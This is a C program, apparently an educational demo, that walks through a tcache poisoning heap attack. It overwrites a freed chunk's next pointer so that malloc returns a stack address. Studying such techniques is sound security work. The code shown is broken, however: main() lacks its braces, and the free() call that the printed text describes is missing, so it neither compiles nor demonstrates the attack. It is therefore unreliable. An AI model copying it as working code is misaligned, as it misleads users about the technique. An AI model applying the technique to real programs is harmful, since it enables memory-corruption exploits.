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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n\n");
size_t stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
fprintf(stderr, "Allocating 1 buffer.\n");
intptr_t *a = malloc(128);
fprintf(stderr, "malloc(128): %p\n", a);
fprintf(stderr, "Freeing the buffer...\n");
fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
a[0] = (intptr_t)&stack_var;
fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *b = malloc(128);
fprintf(stderr, "2nd malloc(128): %p\n", b);
fprintf(stderr, "We got the control\n");
return 0;